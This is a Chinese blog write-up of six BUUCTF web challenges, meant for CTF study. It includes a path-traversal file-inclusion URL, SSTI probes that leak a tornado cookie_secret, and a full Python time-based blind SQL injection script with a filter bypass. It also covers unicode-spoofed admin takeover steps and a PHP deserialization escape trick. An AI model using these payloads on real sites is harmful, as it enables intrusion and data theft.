BUUCTF的Web真题学习整理(一)
目錄
- WEB1—WarmUp (任意文件包含漏洞)
- WEB2—高明的黑客(fuzz腳本)
- WEB3—easy_tornado (服務端模板注入(ssti攻擊))
- WEB4—Hack World(時間盲注)
- WEB5—admin(unicode欺騙)
- WEB6—piapiapia (一個源碼中有防止sql注入的反序列化漏洞)
BUU上的題基本都是比賽真題,還是很有借鑒意義的,安利一波https://buuoj.cn/。
例如在上次華東南賽區的比賽,就遇到了BUU上的WarmUp,所以這次整理一些BUU上的web題,沒準下次還能遇到(??????)??,遇不到原題說不定會有一樣的題型。
WEB1—WarmUp (任意文件包含漏洞)
第一步看源碼
可以發現提示有source.php
觀察源碼邏輯,首先可以發現白名單是只有source.php和hint.php,通過訪問hint.php我們可以知道flag在ffffllllaaaagggg文件中
但很明顯我們無法直接訪問,所以當然是繼續分析邏輯
因為我們最后是想要讀取ffffllllaaaagggg文件,所以很明顯是要讓代碼執行到include $_REQUEST[‘file’];,傳入file為ffffllllaaaagggg
mb_substr($page,0,mb_strpos($page.’?’,’?’))表示截取page中?之前的內容
所以判斷既為true,就能通過判斷條件
所以就能執行包含文件
payload:
http://web5.buuoj.cn/?file=source.php?../../../../../ffffllllaaaagggg
這邊ffffllllaaaagggg文件前面的路徑加…/是因為他和index.php不在同一個目錄下,所以讀取的是上級目錄。
WEB2—高明的黑客(fuzz腳本)
這題給了www.tar.gz下載下來是3000多個php文件,每個php文件中都有很多post和get的參數,只有一個php中的一個參數是可以getshell的。給出一個多線程python爆破腳本,主要功能是讀取我們下載下來的php文件,然后尋找所有GET和POST參數,發送給服務器,判斷是否執行了我們傳入的東西,來判斷是不是一個可以getshell的點。
WEB3—easy_tornado (服務端模板注入(ssti攻擊))
可以發現給了我們三個鏈接
flag是在/fllllllllllllag中的,但是訪問這個文件是還有要一個filehash的參數,其值是md5(cookie_secret+md5(filename))規則加密的,主要我們需要知道的是cookie_secret的值
在我們直接訪問http://web9.buuoj.cn/file?filename=/fllllllllllllag時發現頁面跳轉到了
提示有簽名錯誤,發現/error?msg=Error,考慮服務端模板注入(ssti攻擊)
嘗試輸入/error?msg={{1}},確實是存在模板注入
嘗試輸入/error?msg={{77}},不存在運算
之后進行各種嘗試與資料獲取發現對于tornado框架存在附屬文件handler.settings,于是嘗試輸入/error?msg={{handler.settings}}
得到cookie_secret:M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84r
再根據hint的加密規則算出filehash,便可以訪問fllllllllllllag,得到flag
WEB4—Hack World(時間盲注)
延遲注入,是一種盲注的手法, 提交對執行時間銘感的函數sql語句,通過執行時間的長短來判斷是否執行成功,比如:正確的話會導致時間很長,錯誤的話會導致執行時間很短,這就是所謂的高級盲注.SQLMAP、穿山甲、胡蘿卜等主流注入工具可能檢測不出,只能手工檢測,利用腳本程序跑出結果。
給出了table和column名,給的這么詳細大概是時間盲注的概率會高一些吧。同時發現過濾了空格,給出時間盲注腳本
import requests import time url = "http://web43.buuoj.cn/index.php" flag = '' table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}" #FLAG{5YK358DL6ME5EXXWO4MO2HJS5W0HADZ9} while True:for i in table:ss = time.time()data = {'id':'''ELT(left((select flag from flag),{})='{}{}',SLEEP(1))'''.format(len(flag)+1,flag, i)}data['id'] = data['id'].replace(" ","\t")requests.post(url,data=data)if time.time()-ss>=0.5:flag += iprint (flag)breakWEB5—admin(unicode欺騙)
這題首先是登錄注冊
通過題目大概可以知道,需要我們以admin的身份登陸,然后我這邊先注冊admin發現已經存在,所以先隨便注冊一個登陸了上去,然后去找一些可以利用的地方。
在更換密碼的地方找到了一個git,得到題目源碼
這邊重點的是
這邊對如下字幕????????????????????????
nodeprep.prepare會進行如下操作
? -> A -> a
所以經過這三步得到flag
注冊用戶?dmin
登錄用戶?dmin,變成Admin
修改密碼Admin,更改了admin的密碼
推薦博客https://www.anquanke.com/post/id/164086這題給出了三種解法
法1:偽造session
法2:unicode欺騙
法3:條件競爭
這邊我也復現一下偽造session
使用的是這個github上的工具https://github.com/noraj/flask-session-cookie-manager
但沒有復現成功,我對比了一下真實admin的session值和我偽造的session,應該整體上是沒問題的,但是可能是由于這個工具和真實服務器構建session在最后一部分規則有差異還是怎么樣,總之是沒能復現成功,如果有找到更好用的工具的大佬可以指導我一下
WEB6—piapiapia (一個源碼中有防止sql注入的反序列化漏洞)
buuctf上沒有給出源碼,看了那個0ctf的wp才會做
大概思路就是通過審計
發現一些sql關鍵字會被替換成hacker造成的一個漏洞
舉個例子就是
s:10:“where1234"”; => s:10:“hacker1234"”
在反序列化的時候,因為s是10,所以會讀10個字節,當where被替換成hacker后,就會逃逸掉一個引號。這樣就可以構造我們想要逃逸內容個where實現控制反序列化后的內容
參考博客http://yqxiaojunjie.com/index.php/archives/171/
總結
以上是生活随笔為你收集整理的BUUCTF的Web真题学习整理(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 攻防世界easyJava(re Mobl
- 下一篇: De1CTF-2019部分wp